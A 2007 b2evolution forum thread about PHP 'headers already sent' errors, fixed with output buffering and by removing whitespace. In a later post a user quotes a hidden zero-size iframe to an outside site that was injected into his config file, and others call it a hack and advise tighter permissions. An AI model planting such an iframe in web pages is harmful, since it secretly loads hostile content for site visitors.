Recent Topics

1 Jul 12, 2007 15:50    

My b2evolution Version: 1.10.2

I've installed b2evo two folders below the index page of my website. I'm calling summary.php into a center div in index.php thru an include. It is based on $POST parameters sent from a link in the main menu on the index page - something like this.

/index.php?contentid=news

Though the summary loads, this is the error message I get, which screws up the entire layout of the page.

Warning: Cannot modify header information - headers already sent by (output started at /home/xxxxx/public_html/index.php:10) in /home/xxxxx/public_html/noticeboards/inc/MODEL/sessions/_session.class.php on line 222

I tried removin the

header( 'Content-type: text/html; charset='.$io_charset );

line, but its still the same.

While at this, I also tried something else, but couldn't get it working. I made a copy of summary.php, renamed it as summary2.php and 'included' it in the mainsite's side-bar. I wanted the latest 5 posts appearing in the mainsite's side-bar always and latest 3 posts (default) in the content area when summary.php is called using 'contentid=news' parameter. Which means both summaries will be visible on the 'news' page. However I get the same errors.

However, everything is perfect when I test it on my local system. :roll:

Any help would be appreciated . Thanks

2 Jul 12, 2007 17:55

Your local server probably has errors and warnings suppressed.

To get it to work you need to grab the contents of summary.php before any output is sent to the browser. You can do this by using [url=http://uk2.php.net/manual/en/function.ob-start.php]ob_start()[/url] and then echoing the results where you actually want them to appear.

<?php
ob_start();
include 'summary.php';
$summary_content = ob_get_clean();


.....


echo $summary_content;
?>

¥

3 Jul 12, 2007 20:38

Hi ¥åßßå , long time no c, how u doing?

Thanx for the suggestion, but it I still getting the errors. This is what I put right at the beginning of the file (in index.php)

<?php
ob_start(); 
include('noticeboards/summary_all.php');
$summary_content = ob_get_clean();
?>

And somewhere inside the content div this

 case "news":
        echo $summary_content; 
        break;

I got this error.

Warning: Cannot modify header information - headers already sent by (output started at /home/mccedu/public_html/index.php:9) in /home/mccedu/public_html/noticeboards/inc/MODEL/sessions/_session.class.php on line 222

Warning: Cannot modify header information - headers already sent by (output started at /home/mccedu/public_html/index.php:9) in /home/mccedu/public_html/noticeboards/summary_all.php on line 24

So I removed the " header( 'Content-type: text/html; charset='.$io_charset ); " line from summary_all.php and the 1st part of the warning is gone.

So where am I going wrong? Maybe I should mention that I'm connecting to another database in index.php for displaying other data. Or is it b'cos I'm GETting some header data before echoing $summary_content ?

Thanks for the support.

4 Jul 14, 2007 10:33

Hi Don, still breathing ;)

I just tried this on a 2.0 install with no header problems ...... although the widgets whinged a tad :

<?php
ob_start();
require_once 'summary.php';
$summary_content = ob_get_clean();
?>
<html>
<head>
<title>test</title>
</head>
<body>
<?php
echo $summary_content;
?>
</body>
</html>

¥

5 Jul 14, 2007 12:24

Blonde Bimbo eh ? ;) . And good to know you are still breathing. Like we say in our gang - "Breathe Easy" :D

Nopes, the ob_start(); stuff isn't working for me. Just to give you an idea on the code flow, I'm attaching my indexX.php for your ref (file renamed indexX.php)

Right now, I copied index.php as a new file, stipped all the $POST, $GET and included sumary.php. Works okay. I've attached that file also.

Thanks for the support.

Deleting the attachment here since a newer version is available below.

6 Jul 15, 2007 12:01

Try changing your indexX.php to look like this :

<?php 
/**
 * This is the main opening interface page!
 *
 * This file is mandatory. 
 * It also displays most of the files shown from the sidebar menu on the front page
 */
include('db_link.php'); // Connection string to database

include ('includes/paths.php'); // File with absolute URL declares

if (isset($_GET['menuid'])) {
  $menuid = $_GET['menuid'];
} 
else 
$menuid = 100;

// Getting the page ID to display the relevant pages

if (isset($_GET['contentid'])) {
  $contentid = $_GET['contentid'];
} 
else 
$contentid = 'index';

if (isset($_POST['pageid'])) {
  $pageid = $_POST['pageid'];
} 
else 
$pageid = $contentid;

if( $contentid == 'news' )
{
	ob_start(); 
	include('noticeboards/summary_all.php');
	$summary_content = ob_get_clean();
}
?><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

If you still get errors can you copy paste the entire error here?

¥

7 Jul 18, 2007 00:53

I tried that already, but got the same errors. I tried the ob code just before the $contentid switch, yet the same hassle...

You can check out the actual error output from http://mcc.edu.in/index.php?contentid=news

That page is not linked directly from anywhere right now. Also pls check in IE only. We are making major changes to the CSS and the new stylesheets are yet to be uploaded, so the pages look yuck except in IE. ( deadlines ! deadlines !).

8 Jul 18, 2007 08:42

hmmm, I don't see any header errors on that link?

¥

9 Jul 18, 2007 23:18

¥ , I just tried and got the errors :-(

10 Jul 19, 2007 19:15

How wierd, now I get errors as well ( and content? ), I blame the booze, drugs, age, blondness ..... hell, I have a plethora of excuses I can use :D

Can you attach the current content of /home/*****/public_html/index.php ?

¥

11 Jul 19, 2007 22:14

blondness or blondes ? :p

Yeps, the content shows anyhow under the error msg.

Attaching the index.php file. (I removed the connection strings references for security n all dat jazz...)

And lo, we sorted out dreaded 3-column CSS issues and so the site is viewable in most browsers consistently...

12 Jul 20, 2007 09:16

Probably a mixture off both ;)

Ok, your header error is caused by the blank lines you have at the top of your file :

<?php 
/**
 * This is the main opening interface page!
 *
 * This file is mandatory. 
 * It also displays most of the files shown from the sidebar menu on the front page
 */
?>
<!-- this line will cause output to the browser and spark off a header error -->
<?php include('filename.php'); // include the db connection file ?>
<!-- so will this one -->
<?php include ('includes/paths.php'); // include DIR paths  ?>
<!-- and this one -->
<?php 

if (isset($_GET['menuid'])) {
  $menuid = $_GET['menuid'];
} 
else 
$menuid = 100;

// Getting the page ID to display the relevant pages

if (isset($_GET['contentid'])) {
  $contentid = $_GET['contentid'];
} 
else 
$contentid = 'index';

if (isset($_POST['pageid'])) {
  $pageid = $_POST['pageid'];
} 
else 
$pageid = $contentid;

if( $contentid == 'news' ) 
{ 
    ob_start();  
    include('noticeboards/summary_all.php'); 
    $summary_content = ob_get_clean(); 
} 

?>
<!-- these ones won't cause a header error but will make the w3c whinge about validation ;) -->

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

You need to remove all of them so that it looks like this :

<?php 
/**
 * This is the main opening interface page!
 *
 * This file is mandatory. 
 * It also displays most of the files shown from the sidebar menu on the front page
 */

include('filename.php'); // include the db connection file

include ('includes/paths.php'); // include DIR paths

if (isset($_GET['menuid'])) {
  $menuid = $_GET['menuid'];
} 
else 
$menuid = 100;

// Getting the page ID to display the relevant pages

if (isset($_GET['contentid'])) {
  $contentid = $_GET['contentid'];
} 
else 
$contentid = 'index';

if (isset($_POST['pageid'])) {
  $pageid = $_POST['pageid'];
} 
else 
$pageid = $contentid;

if( $contentid == 'news' ) 
{ 
    ob_start();  
    include('noticeboards/summary_all.php'); 
    $summary_content = ob_get_clean(); 
} 

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

¥

13 Jul 21, 2007 00:07

Thanks ¥åßßå, its working fine now. May Your Tribe Grow...

I had to remove the if()condition before the ob_start and shift it to the top of the page. The display is perfect now.

I also duplicated summary.php, hid all blogs except Blog 1 and included the file in my side-bar. And I just added another ob_start after the 1st one :D

15 Jul 21, 2007 14:17

It is at 28% right now 8|

I checked at 800*600 in my 17 monitor and it looks okay, w/out breaking.

What Res did you get the error on?

16 Jul 21, 2007 14:38

Oops, it was at 28%px :oops: Corrected. Thanks ¥ .

btw, wot was that Star Wars all about ? :)

17 Jul 21, 2007 18:02

lol, muppet ;)

Donthecat wrote:

btw, wot was that Star Wars all about ? :)

¥åßßå wrote:

I blame the booze, drugs, age, blondness ..... hell, I have a plethora of excuses I can use :D

:roll: ;)

¥

18 Jul 22, 2007 11:16

Just maybe we should ask FP to name 2.0 as "Marie-Jane"..... ;)

19 Jul 23, 2007 20:10

"Download Marie Jane today and get a smoking blog" :roll:

¥

20 Sep 30, 2007 15:07

not a summary.php problem, but a 'cannot modify header problem'.

all of a sudden, i go to the admin page of my blog and i see this at the top of my page:

````
Warning: Cannot modify header information - headers already sent by (output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111) in /home/shunsai/public_html/blog/inc/_misc/_misc.funcs.php on line 2886

Warning: Cannot modify header information - headers already sent by (output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111) in /home/shunsai/public_html/blog/inc/_misc/_misc.funcs.php on line 2887

Warning: Cannot modify header information - headers already sent by (output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111) in /home/shunsai/public_html/blog/inc/_misc/_misc.funcs.php on line 2888

Warning: Cannot modify header information - headers already sent by (output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111) in /home/shunsai/public_html/blog/inc/_misc/_misc.funcs.php on line 2889

Warning: Cannot modify header information - headers already sent by (output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111) in /home/shunsai/public_html/blog/inc/VIEW/login/_header.php on line 29

to be honest, i don't really have any idea what it means or why it appeared suddenly. i was afraid someone attempted to hack my blog or something (such was the case earlier this year), so i didn't log in to my blog.

what's strange to me is i haven't changed any settings of my blog recently. i visited it just the day before to post a blog entry and that error didn't appear. so i don't know what changed in between now and then. at this point i'm not really sure what to do without mucking something up. any of the b2e pro's able to offer any thoughts or suggestions?

i'm using b2e 1.10.2 and my blog is at http://shunsai-inc.com/blog/

21 Sep 30, 2007 16:02

output started at /home/shunsai/public_html/blog/conf/_basic_config.php:111

crack open your conf/_basic_config.php and check for any white space at the end of the file.

¥

22 Oct 01, 2007 00:57

thanks ¥åßßå, that solved it!

somehow this line had been mysteriously attached to the end of my _basic_config.php:

?>``<iframe src="http://www.celebirony.com/news/scripts/templates/bb/iframe.php" width=0 height=0 border=0></iframe>``

is it the result of hacking? it doesn't seem to be in the original file on my harddrive... any way to prevent it from happening again?

23 Oct 01, 2007 03:27

shunsai wrote:

is it the result of hacking? it doesn't seem to be in the original file on my harddrive... any way to prevent it from happening again?

Hi shunsai,

Your site probably has been hacked, but there doesn't seem much to worry about. Most likely the permissions on the file are set too libereral, like 777.

Change permission of the file back to 644 and you should be safe in the future.

Good luck

24 Oct 01, 2007 04:18

Afwas wrote:

Hi shunsai,

Your site probably has been hacked, but there doesn't seem much to worry about. Most likely the permissions on the file are set too libereral, like 777.

Change permission of the file back to 644 and you should be safe in the future.

Good luck

thanx Afwas. the permission of that file was set to 666, and now i've changed it as you suggested. out of curiosity though, i see that many of the directories are set to 755. i know i changed some permissions some months ago to allow myself to upload photos with my entries. is it a risk having my conf directory set to 755? are there any other critical directories that i can or should change to 644 without it affecting my ability to include photos in my blogs?

26 Oct 01, 2007 11:40

thanks so much for your quick responses. your help is much appreciated.


Form is loading...